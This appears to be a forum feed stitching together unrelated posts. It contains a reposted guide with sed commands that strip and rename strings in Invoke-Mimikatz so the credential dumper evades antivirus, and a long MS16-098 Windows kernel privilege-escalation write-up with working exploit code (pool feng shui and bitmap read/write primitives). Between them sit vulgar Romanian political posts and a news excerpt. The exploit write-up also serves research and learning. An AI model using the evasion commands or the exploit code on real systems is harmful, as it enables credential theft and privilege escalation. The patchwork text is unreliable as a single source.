Mimikatz Script As you may know, AV detection schemes can be weak, simply looking for specific words in the file. Often these words can be changed without changing the functionality. For example, changing “Invoke-Mimikatz” to “Invoke-Mimidogz” using the following Linux command brings the detection rate down to 8 of 54 sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 AV Detection Rate for “Katz” to “Dogz” And how about getting rid of those unnecessary comments in the script? sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 AV Detection Ratio After Removing Comments from Script We are down to four (4) AV vendors detecting the malicious file after renaming “Katz” to “Dogz” and removing comments. A little further experimentation shows that AV doesn’t like the word “DumpCreds”, let’s change it to “DumpCred”. sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 AV Detection After Renaming “DumpCreds” We are down to only two AV vendors detecting this file as malicious now. We could probably quit here and get a lot of mileage out of this script because who has even heard of those AV vendors anyway? But as my daughter would say after reading the disclaimer on hand sanitizer, “Why don’t they just put a little bit more in and kill ‘em all!?” So let’s do this. Just add three more match and replace rules and “Winner, winner, chicken dinner!” The complete list of match and replace commands is listed below. sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1 sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1 sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1 No AV Detection After Match and Replace Rules We successfully modified the Mimikatz script to avoid AV detection without changing the functionality. Great evidence to why you should not rely solely on your AV for protection. Modified Mimikatz Script Still Functional For additional information on bypassing Anti-Virus, check out the “Sacred Cash Cow Tipping” webcast series. Sursa: http://www.blackhillsinfosec.com/?p=5555

"Dle Dragnea, aflaram de la televizor ca sunteti singurul care cunoaste programul din scoarta in scoarta. Va rog eu frumos, invatati-i si pe ei. " Full text: http://www.hotnews.ro/stiri-esential-21511164-ora-19-00-noul-guvern-depune-juramantul-palatul-cotroceni.htm

Iohannis le-a dat o mare muie si lui Dragnea si ministrilor (care nu cunosc programul de guvernare) live, la juramant. Epic! Forta!

https://twitter.com/codelancer/status/816627501778620416

1. In calitate de pieton, intr-un oras mega-aglomerat si mega-poluat, sunt de acord cu cat mai multe taxe pentru soferi. In Bucuresti toata lumea se plange de trafic, insa toti sunt in masini. Se plang toti ca nu ajung autobuzele si ambulantele la timp, insa strazile sunt pline de rable de 1000 de euro, pentru ca romanul vrea sa aiba masina, nu ce sa puna pe masa. Lenea si confortul se platesc. 2. Taxa aceea exista pentru a avea o televiziune INDEPENDENTA. Adica nu Antena 3 a lui Voiculescu, care pupa in cur PSD sau Realitatea lui Ghita. O televiziune care in principiu nu ar trebui controlata politic. Si din moment ce in masina se asculta KissFM, Radio Zu sau Manele XXL FM, mi se pare normal sa se plateasca. 3. Lege ca aceea exista de ani de zile in afara si ofera avantaje pentru cetateni. Nu te obliga nimeni sa te folosesti de ea, dar daca ai nevoie, consider ca o vei gasi utila. Dar nu stii asta pana nu ai nevoie. Cat despre taxe si impozite si faptul ca Dragnea vrea sa le scoata, e ca sa multumeasca prostimea. Ce nu stie nici PSD-ul, e ca acele taxe aduc bani la buget care platesc intr-un final bugetarii si pensiile. Daca incepem cu mariri de pensii si salarii (care apropo, nu sunt pentru toata lumea) o sa apara o gramada de probleme: 1. Bugetul de la stat se duce acolo, nu tu autostrazi, nu tu investitii etc. si ne miram de ce Romania arata ca in anul 1800. 2. Daca creste salariul minim, si ei nu se gandesc, creste si numarul de disponibilizari. Patronii nu isi vor mai permite sa tina mai multi angajati si unii vor zbura (destui). 3. Daca creste salariul minim, se incurajeaza munca la negru. Adica fara carte de munca => batrani cu pensii mici care vor vota tot cu unii ca PSD ca sa primeasca si ei o muie la pensie, ca toata viata au muncit la negru, nu ca prostii ca noi care platim zeci de milioane taxe. Romanii nu s-au saturat sa ia muie de la tehnocrati, pentru ca nu au luat niciodata! Romanii isi asteapta muia calda de la PSD care se va rasfrange asupra noastra, a tinerilor.

EXCLUSIV. După chiul, shopping şi fumat în birou, Corina Crețu șochează iar. Comisarul european dă vina pe hackeri, abia după ce România liberă i-a semnalat că pe contul său de Twitter sunt filme porno de Adrian Bărbulescu , 04 ianuarie 2017 - stire actualizata la ora 08:41, 04 ianuarie 2017 EXCLUSIV. După chiul, shopping şi fumat în birou, Corina Crețu șochează iar. Comisarul european dă vina pe hackeri, abia după ce România liberă i-a semnalat că pe contul său de Twitter sunt filme porno Comisarul european pentru Politici Regionale, Corina Creţu, propulsată în această poziţie de Victor Ponta şi PSD, este pe cale să fie în centrul unui nou scandal monstru, când abia se risipiseră ecourile dezvăluirilor făcute în decembrie 2015 de jurnalistul Ryan Heath de la Politico Europe. UPDATE Corina Creţu: contul meu a fost spart Abia după ce România liberă i-a atras atenţia oficial asupra faptului că pe contul său de Twitter sunt postate filme porno, comisarul european Corina Creţu a reacţionat. „Contul meu a fost spart. Vă rog ignoraţi tweet-urile, RT-urile şi like-urile postate în ultimele 48 de ore. Lucrăm pentru a rezolva această problemă cât mai repede posibil. Scuze” (My account has been hacked. Pls disregard tweets, RTs &likes posted in the last 48 hrs. We are working on solving issue asap. Apologies), a scris Creţu chiar pe contul său de Twitter pe care-i sfătuia pe urmăritori să-l ignore. Apoi, a postat un mesaj similar şi în limba română: "Contul meu a fost spart & accesat ilegal. Ignorați mesajele & like-urile din ultimele 48 ore. Echipa mea lucrează la remedierea situației". Întrebarea se pune dacă trebuia să ignorăm şi aceste mesaje, aşa cum ne îndemna Corina Creţu. Dacă atunci scandalul era centrat pe chiul, shopping şi fumat în biroul de la Comisia Europeană, acum are accente pornografice de-a dreptul. Comisarul european a dat like, de pe contul său oficial de Twitter, unor postări XXX, pe care, din motive lesne de înţeles, nu le putem publica decât blurate. Chiar sistemul de operare Windows îi avertizează pe utilizatori, înainte de a deschide linkul, că “următorul conţinut media poate conţine material sensibil”. Nu numai că este sensibil acest conţinut, ci el este pornografic de-a dreptul. Twitter funcţionează similar cu Facebook, adică în momentul în care o persoană pe care o urmăreşti (i-ai dat “follow”) dă like unei postări, vei putea vedea atât postările proprii ale acesteia, cât şi cele cărora le-a dat like. Astfel, toţi cei 15.200 de urmăritori ai Corinei Creţu de pe reţeaua de socializare au putut viziona filmuleţele pornografice cărora le-a dat like comisarul european. Şi nu este vorba de un cont de Twitter oarecare, al unei persoane private, ci de unul oficial în calitate de comisar european, căruia reţeaua de socializare condusă de Jack Dorsey i-a alocat şi o bifă albastră, “privilegiu” acordat persoanelor publice cunoscute, care certifică autenticitatea contului. Mai trebuie menţionat faptul că la nivelul instituţiilor europene canalul oficial de comunicare este Twitter, şi nu Facebook. Articol complet: http://www.romanialibera.ro/actualitate/fapt-divers/exclusiv--comisarul-european-corina-cretu-da-like-uri-la-filme-porno--pe-contul-sau-oficial-de-twitter-437210

Informativ: http://gov.ro/ro/stiri/guvernul-ciolo-bilant-la-final-de-mandat

Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects Reading time ~38 min Posted by saif on 03 January 2017 Categories: Exploit, Fun, Howto, Research Starting from the beginning with no experience whatsoever in kernel land let alone exploiting it, I was always intrigued and fascinated by reverse engineering and exploit development. The idea was simple: find a 1-day patch with an exploitable bug but with no proof of concept exploit currently available, in order to start my reverse engineering and exploit dev journey with.Now the bug discussed here was not my initial choice: I failed at that one. It is actually my second choice and it took almost 4 months to fully understand the exploit and everything related to it. I hope that this blog post is helpful to anyone aspiring to learn more about reverse engineering and exploit development. It is a lengthy post, I’m a new to the exploit-dev kernel stuff, so I implore you to be patient while reading this post. Tools Used: Expand.exe (used to expand the update MSU file) Virtual KD http://virtualkd.sysprogs.org/ (Their claim that they are x45 times faster than normal kernel debugging is absolutely true). Windbg (kd) (because why not). IDA professional. https://www.hex-rays.com/products/ida/ Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html Using Expand.exe: Expand.exe is used to extract files from individual Microsoft update files (MSU) and the contained (CAB) files. Issuing the commands below, on a Windows system, the update and extracted CAB files will be extracted to the target directory: Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO] Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO] Windbg (KD) Tips and Tricks: I personally prefer Windbg to other debuggers, as it contains very interesting commands, especially for kernel debugging, that absolutely helped with the exploitation process and deserve to be mentioned in this context. kd> dt [OBJECT SYMBOL NAME] [ADDR] The dt command dumps an object structure by using its symbol definition, which is very useful when analysing objects and trying to understand where everything fits specially if these objects symbols are exported. Using the command without the address will produce the structure of that object. For example, to dump the structure of the EPROCESS object we use the following command. By adding the address to the command, the data located at that address will be dumped based on the structure of the referenced object. The commands !pool, !poolfind and !poolused helped me a lot when analysing Kernel pool overflows, and performing kernel pool feng shui. Some initial useful examples are: To dump the kernel pool page layout that contains the supplied address, we can use the following: kd> !pool [ADDR] To retrieve the number of allocations of the object of the supplied pool tag located in the specified pool type: kd> !poolused [POOLTYPE] [POOLTAG] To search the full allocated kernel pool address space of the supplied pool type, for the specified pool tag. kd> !poolfind [POOLTAG] [POOLTYPE] Discussing the usage of IDA professional, VirtualKD, Zynamics BinDiff is beyond the scope of this post. Analysing the Patch and understanding the bug: After the update file was download and expanded, the modified file was win32k.sys version 6.3.9600.18405. When performing a diff with its older version, 6.3.9600.17393, using IDA professional Zynamics BinDiff plugin, an interesting function was found to have been changed with similarity rating 0.98. The vulnerable function was win32k!bFill. Below is the difference between the two versions. The diff quickly shows that an integer overflow was fixed, by adding the function UlongMult3, which is used to detect integer overflows by multiplying the supplied two ULONG integers. If the result overflows the object type, which is a ULONG, it returns an error “INTSAFE_E_ARITHMETIC_OVERFLOW”. This function was added right before the call PALLOCMEM2 that was called with one of the checked arguments [rsp+Size]. This confirms that this integer overflow would lead to an allocation of a small sized object; the question then being – can this value be somehow controlled by the user? When faced with a big problem, its recommended to break it down into smaller problems. As kernel exploitation is a big problem, taking it one step at a time seems the way to go. The exploitation steps are as follows: Reaching the vulnerable function. Controlling the allocation size. Kernel pool feng shui. Abusing the Bitmap GDI objects. Analysing and controlling the overflow. Fixing the overflowed header. Stealing SYSTEM Process Token from the EPROCESS structure. SYSTEM !! Step 1 – Reaching the Vulnerable Function: First we need to understand how this function can be reached by looking at the function definition in IDA. It can be seen that the function works on EPATHOBJ and the function name “bFill” would suggest that it has something to do with filling paths. A quick Google search for “msdn path fill” brought me to the function BeginPath and the using Paths example [5]. bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *) Theoretically speaking, if we take out the relevant code from the example, it should hit the function right?? // Get Device context of desktop hwnd hdc = GetDC(NULL); //begin the drawing path BeginPath(hdc); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); //End the path EndPath(hdc); //Fill Path FillPath(hdc); Well, that didn’t work so I started to dive into why by iterating backwards through the Xrefs to the vulnerable function and adding a break point in windbg, at the start of each of them. EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() Running our sample code again, it was found that the first function that gets hit, and then doesn’t continue to out function was EngFastFill. Without diving deep into reversing this function and adding more time of boring details to the reader we can conclude, in short, that this function is a switch case that will eventually call bPaintPath, bBrushPath, or bBrushPathN_8x8, depending if a brush object is associated with the hdc. The code above didn’t even reach the switch case, it failed before then, on a check that was made to check the hdc type, thus it was worth investing in understanding Device Contexts types[6] Turns out there are four Device Context types: Printer. Display, which is the default one called with the above code Information. Memory, which supports drawing operations on a bitmap object. Looking at the information provided, it was worth trying to switch the device type to Memory(Bitmap) as follows: // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); Turns out, that was exactly what was needed to reach the vulnerable function bFill. Step 2 – Controlling the Allocation Size: Looking at the part where the allocation is made. Before the allocation is called, the function checks whether the value of [rbx+4] (rbx points to our first argument which is the EPATHOBJ), is larger than 14. If it was, then the same value is multiplied by 3 where the overflow happens lea ecx, [rax+rax*2]; The overflow happens actually for two reasons: one the value is being cast into the 32-bit register ecx and second [rax+rax*2] means that the value is multiplied by 3. Doing some calculations we can reach the conclusion that the value needed to overflow this function would be: 0xFFFFFFFF / 3 = 0x55555555 Any value greater than the value above, would overflow the 32-bit register. 0x55555556 * 3 = 0x100000002 Then the result of this multiplication is shifted left by a nibble 4-bits, usually a shift left by 4 operation, is considered to be translated to multiplication by 2^4 0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32-bit register value) Still, there is no conclusion on how this value can be controlled, so I decided to read more posts about Windows GDI exploitation specially using PATH objects, to try and see if there was any mention to this. I stumbled upon this awesome blog post[1] by Nicolas Economou @NicoEconomou of CoreLabs, which was discussing the MS16-039 exploitation process. The bug discussed in this blog post had identical code to our current vulnerable function, as if someone copy pasted the code in these two functions. It is worth mentioning that it would have taken me much more time to figure out how to exploit this bug, without referencing this blog post, so for that I thank you @NicoEconomou. However, one would think that everything should be straight forward from here with a great guide on hand, but it wasn’t at all. Although the post really helped with the idea of exploitation and specifically what this mysterious value was, there were a couple of differences in exploitation, and for someone with no experience in Kernel exploitation or Kernel-land in general, I had to dive deep into each aspect of the exploitation process and understand how it works. – “Teach a man to fish, and he will eat for eternity”. Continuing, the value was the number of points in the PATH object, and can be controlled by calling PolylineTo function multiple times. The modified code that would trigger an allocation of 50 Bytes would be: //Create a Point array static POINT points[0x3fe01]; // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. for (int j = 0; j < 0x156; j++) { PolylineTo(hMemDC, points, 0x3FE01); } } // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); By calling PolylineTo with number of Points 0x3FE01 for 0x156 times would yield. 0x156 * 0x3FE01 = 0x5555556 Notice that the number is smaller than the number produced by the previous calculations, the reason is that in practice, when the bit is shifted left by 4 the lowest nibble will be shifted out of the 32-bit register, and what will be left is the small number. The other thing worth mentioning is that the application will add an extra point to our list of points, so the number that is passed to the overflowing instruction will be in reality 0x5555557. Let’s do the maths and see how it will work. 0x5555557 * 0x3 = 0x10000005 0x10000005 << 4 = 0x00000050 By that point, the size of the allocation will be 50 bytes and the application will try to copy 0x5555557 points to that small memory, which will quickly give us a BSOD, and with that successfully triggering the bug! Step 3 – Kernel Pool Feng Shui: Now starts the hard part: Kernel Pool Feng Shui Kernel Pool Feng Shui is a technique used to force the memory layout to be in a deterministic state, prior to the vulnerable object being allocated, by using a set of allocations/de-allocations calls. The idea is to force the allocation of our vulnerable object to be adjacent to an object under our control, overflowing the adjacent object and use the overflown object to change the memory corruption primitive and gain read/write over kernel memory. The object of choice would be Bitmap, with pool tag Gh05, which is allocated to the same Page Session Pool and can be controlled using SetBitmapBits/GetBitmapBits to write/read to arbitrary locations. This technique was discussed by Diego Juarez of CoreLabs on his post[2], and KeenTeam in their talk[10] as well. The crash happens because at the end of the bFill function, the allocated object is freed, when an object is freed, the kernel validates the adjacent memory chunks pool header; if it was corrupted, it will exit with error BAD_POOL_HEADER. Since we overflowed the adjacent page(s), this check will fail and a BSOD will happen. The trick to mitigate crashing on this check, is to force the allocation of our object at the end of memory page. This way, there will not be a next chunk and the call to free() will pass normally. This was mentioned in Nicolas’s blog post[1], and in only one sentence in the “A Guide to Kernel Exploitation: Attacking the Core” book[9]. There are a couple of things to keep in mind to achieve this Feng Shui: The Kernel pool page is of size 0x1000 bytes, any larger allocations will be allocated to the Large kernel Pool. Any allocation of size bigger than 0x808 will be allocated to the beginning of the memory page. Subsequent allocations will be allocated from the end of the page. The allocations need to be of the same Pool type, which in our case was Paged Session Pool. Allocating objects will usually add a pool header of size 0x10. If the allocated object is 0x50, the allocator will actually allocate 0x60 including the pool header. Armed with the above, it was time to develop the kernel pool Feng Shui and see how this will work, having a look at the exploit code: void fungshuei() { HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0 bitmaps[k] = bmp; } HACCEL hAccel, hAccel2; LPACCEL lpAccel; // Initial setup for pool fengshui. lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); SecureZeroMemory(lpAccel, sizeof(ACCEL)); // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } } The flow of allocations/de-allocations can be clearly seen, however a GIF is worth a thousand words. Walking through the allocation/de-allocations functions, to show what actually happens, the first step of the kernel Feng Shui was: HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); bitmaps[k] = bmp; } Start by 5000 allocations of Bitmap objects with size 0xf80. This will eventually start allocating new memory pages and each page will start with a Bitmap object of size 0xf80, leaving 0x80 bytes space at the end of the page. To check if the spray worked we can break on the call to PALLOCMEM from within bFill and use !poolused 0x8 Gh?5 to see how many bitmap objects were allocated. The other thing, is how to calculate the sizes which when supplied to the CreateBitmap() function translate into the Bitmap objects allocated by the kernel. The closest calculations I could find were mentioned by Feng yuan in his book[11]. It was a close calculation but doesn’t add up to the allocation sizes observed. By using the best way a hacker can know, trial and error, change the size of the bitmap and see the allocated size object that was allocated using !poolfind command. // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } Then, 7000 allocations of accelerator table objects (Usac). Each Usac is of size 0x40, so allocating two of them will allocate 0x80 bytes of memory. This, will fill the left 0x80 bytes from the previous allocation rounds and completely fill our pages (0xf80 + 80 = 0x1000). // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } Next de-allocation of the previously allocated object will leave our memory page layout with 0xf80 free bytes at the beginning of the page. //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } Allocating 5000 bytes of region objects (Gh04) of size 0xbc0. This size is essential, since if the bitmap was placed directly adjacent to our vulnerable object, overflowing it will not overwrite the interesting members (Discussed in later sections) of the Bitmap object, which are needed to use GetBitmapBits/SetBitmapBits to read/write to kernel memory. This was also pointed out by Nicolas in his post[1], however the offsets were a bit different than what was needed in this case. Also, how the calculated the size of the allocated object in relation to the arguments supplied to CreateEllipticRgn function, was found through trial and error. At this point of the feng shui, the kernel page has 0xbc0 Gh04 object in the beginning of the page, and 0x80 at the end of the page, with free space of 0x3c0 bytes. // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } The allocation of 5000 bitmap objects of size 0x3c0 to fill this freed memory, the bitmap objects becoming the target of our controlled overflow. // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } Next part is the allocation of 1700 Clipboard objects (Uscb) of size 0x60, just to fill any memory locations that have size 0x60 prior to allocating our vulnerable object; so when the object gets allocated, it almost certainly will fall into our memory layout. Nicolas used this object to do the kernel spray with, I didn’t manage to simulate the free or the syscall to do that, however what was discovered was some quirky behaviour, basically to copy stuff into the clipboard programmatically with the following code: void AllocateClipBoard(unsigned int size) { BYTE *buffer; buffer = malloc(size); memset(buffer, 0x41, size); buffer[size-1] = 0x00; const size_t len = size; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), buffer, len); GlobalUnlock(hMem); OpenClipboard(wnd); EmptyClipboard(); SetClipboardData(CF_TEXT, hMem); CloseClipboard(); GlobalFree(hMem); } What was discovered is that, if you omit the OpenCliboard, CloseClipBboard, EmptyClipboard and just call SetClipboardData directly, the object will be allocated and never freed. I guess you could get Memory exhaustion after many calls but that wasn’t tested, furthermore, in my experiments as mentioned the object isn’t freed at all even if the clipboard is opened and emptied using EmptyCliBoard; or by using what Nicolas mentioned by consecutive calls to SetBitmapData, and EmptyClipboad. // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } The last step of our kernel pool feng shui, was to create holes in the allocated accelerator table objects (Usac), exactly 2000 holes. The kernel feng shui function is also called right before the bug is triggered, if all went well our vulnerable object will be allocated into one of these holes right where its intended to be at the end of the memory page. Step 4 – Abusing the Bitmap GDI objects: This technique is heavily discussed in both CoreLabs posts [1],[2], and in their latest presentation at ekoparty 2016[11]. I highly recommend reading these, before continuing, as it won’t be explained in such depth in this post. The structure of the bitmap object starts with a SURFOBJ64 followed by the bitmap data, three members of this object interests us, sizlBitmap, pvScan0, hdev. The sizlBitmap is the width and height of the bitmap, the pvScan0 is a pointer to the beginning of the bitmap data, and hdev is a pointer to the device handle. typedef struct { ULONG64 dhsurf; // 0x00 ULONG64 hsurf; // 0x08 ULONG64 dhpdev; // 0x10 ULONG64 hdev; // 0x18 SIZEL sizlBitmap; // 0x20 ULONG64 cjBits; // 0x28 ULONG64 pvBits; // 0x30 ULONG64 pvScan0; // 0x38 ULONG32 lDelta; // 0x40 ULONG32 iUniq; // 0x44 ULONG32 iBitmapFormat; // 0x48 USHORT iType; // 0x4C USHORT fjBitmap; // 0x4E } SURFOBJ64; // sizeof = 0x50 The way bitmap objects can be abused, is by overwriting the sizlBitmap, or the pvScan0 with controlled values. The way SetBitmapBits/GetBitmapBits validate the amount of data to be written/read from is by validating the size of the data available for the bitmap, through these two object members. GetBitmapBits, for example, will calculate the width x height x 4 (32 bits per pixel in bytes, which is supplied as an argument to CreateBitmap) of the bitmap to validate the amount of data it can read from the address pointed to by pvScan0. If the sizlBitmap member was overwritten with a larger width and height, it will expand the amount of data the bitmap can read/write to by that larger value. In this exploit, for example, it was width 0xFFFFFFFF x height 1 x 4 (32 bitsprepel). If the overflow data can be controlled, then we can directly set the pvScan0 member with an address that we are interested to read/write to. The way to abuse controlled data overwrite as discussed in the blog post[2] is to use two bitmap objects: Set the first bitmap pvScan0 to the address of the pvScan0 of the second bitmap. Use the first bitmap as a manager, to set the pvScan0 pointer of the second bitmap to point to the address that we want to read/write to. The second bitmap object will act as a worker, which will actually read/write to this address. In this exploits case, the data used to overflow the heap is not fully controlled, since the data being copied is points or more specific edge objects of size 0x30 bytes each. Luckily, as will be shown in the next section, some of the data being overwritten can be indirectly controlled, and will be used to overwrite the sizlBitmap member with the values 0x1 and 0xFFFFFFFF, which would expand the amount of data that can be read/write by the bitmap object. The flow of how this will be used is as follows. Trigger the overflow and overwrite the sizlBitmap member of an adjacent bitmap object. Use the expanded bitmap as a manager to overwrite the pvScan0 member of a second bitmap. Utilize the second bitmap as the worker and use it, to read/write to address set by the first bitmap. The importance of the hdev member, will be discussed in details in the next section, the main point is that it’s either set to 0 or a pointer to a valid device object. Step 5 – Analysing and Controlling the Overflow: Now it’s time to analyse how the overflow can be controlled. In Nicolas’s post[1], he mentioned that in his case, the points are copied only if they are not identical, which allowed him to control the overflow, however this was not the case for me. To better understand this, we need to have a look at the addEdgeToGet function, which copies the points to the newly allocated memory. In the beginning, the addEdgeToGet assigns the r11 and r10 register to the values of the current point.y [r9+4] and the previous point.y [r8+4]. Later, a check is performed, which checks whether the previous point.y is less than [r9+0c], which in this case was 0x1f0, if so the current point will be copied to our buffer, if not the current point to be skipped. It was noticed also the point.y value was shifted left by a nibble, i.e. if the previous point.y = 0x20, the value will be 0x200. Now that we have the primitives of how we can control the overflow, we need to find out how the values 0x1 and 0xFFFFFFFF will be copied across. In the first check, the function will subtract the previous point.y at r10 from the current point.y at ebp. If the results were unsigned, it will copy the value 0xFFFFFFFF to offset 0x28 of our buffer pointed to by rdx. The assumption here, is that this function checks the direction of which the current point.y is to the previous point.y. In the second check, the same is done for point.x, the previous point.x at r8 is subtracted from the current point.x at ebx and if the results are unsigned, the function will copy 0x1 to offset 0x24 of our buffer pointed to by r15. This makes sense since it corresponds with the previous check copying to offset 0x28, as well as the fact that we want to only overflow the sizlBitmap structure. With point structures that are of size 0x30 bytes, also it copied the value 1 to the hdev member of the object pointed to by [r15+0x24]. Calculating the number of points to overflow the buffer to reach the sizLBitmap member, was easy and the way it was enforced by the exploit was simply changing the value of the previous point.y to a larger value that would fail the main check discussed previously, and thus the points will not be copied, looking at the code snippet from the exploit. static POINT points[0x3fe01]; for (int l = 0; l < 0x3FE00; l++) { points[l].x = 0x5a1f; points[l].y = 0x5a1f; } points[2].y = 20; //0x14 < 0x1f points[0x3FE00].x = 0x4a1f; points[0x3FE00].y = 0x6a1f; This is how the initial points array was initialized notice the value of points[2].y is set to 20 that is 0x14 in hex, which is less than 0x1f, and will thus copy the subsequent point to our allocated buffer. for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { points[2].y = 0x5a1f; } if (!PolylineTo(hMemDC, points, 0x3FE01)) { fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); } } Then a check was added to the loop calling PolyLineTo, to check if the loop iteration was bigger than 0x1F, then change the value of points[2].y to a larger value that will be bigger than 0x1F0 and thus fail the check and the subsequent points will not be copied to our buffer. This will effectively control the overflow as such that the function will overflow the buffer until the next adjacent bitmap object sizlBitmap member with 0x1 and 0xFFFFFFFF, effectively expanding this bitmap object, allowing us to read/write past the original bounds of the bitmap object. The way to figure out which bitmap object was the one is by, iteratively, calling GetBitmapBits with size larger than the original values on each bitmap from our kernel pool spray; if it succeeds then this bitmap was the one that was overflowed, making it the manager bitmap and the next one in the bitmap array will be the worker bitmap. for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap. } Hopefully, if everything is working as planned, we should be able to read 0x1000 bits from memory. Below there is the bitmap object before and after the overflow, the header, sizLBitmap and hdev members were overflowed. When the exploit resumes, and the loop to detect which is the vulnerable bitmap is executed, a crash happens after several calls to GetBitmapBits. The crash occurs in the PDEVOBJ::bAlowSharedAcces function. When trying to read from the address 0x0000000100000000, which is the hdev member of the overwritten bitmap object above, during the analysis, it was noticed that bitmap objects usually had either NULL or a pointer to a Gdev device object in this member, in the case of a pointer to a device object. The function win32k!GreGetBitmapBits will call NEEDGRELOCK::vLock that will in turn call PDEVOBJ::bAllowSharedAccess. Looking at the disassembly of the NEEDGRELOCK::vLock function, you will notice that the function will use the PDEVOBJ only to call PDEVOBJ::bAllowSharedAccess, if the result returns zero, it will continue to the other checks, of which none reference the PDEVOBJ. Furthermore, in GreGetBitmapBits, the function doesn’t check the return value of NEEDGRELOCK::vlock, after execution, the 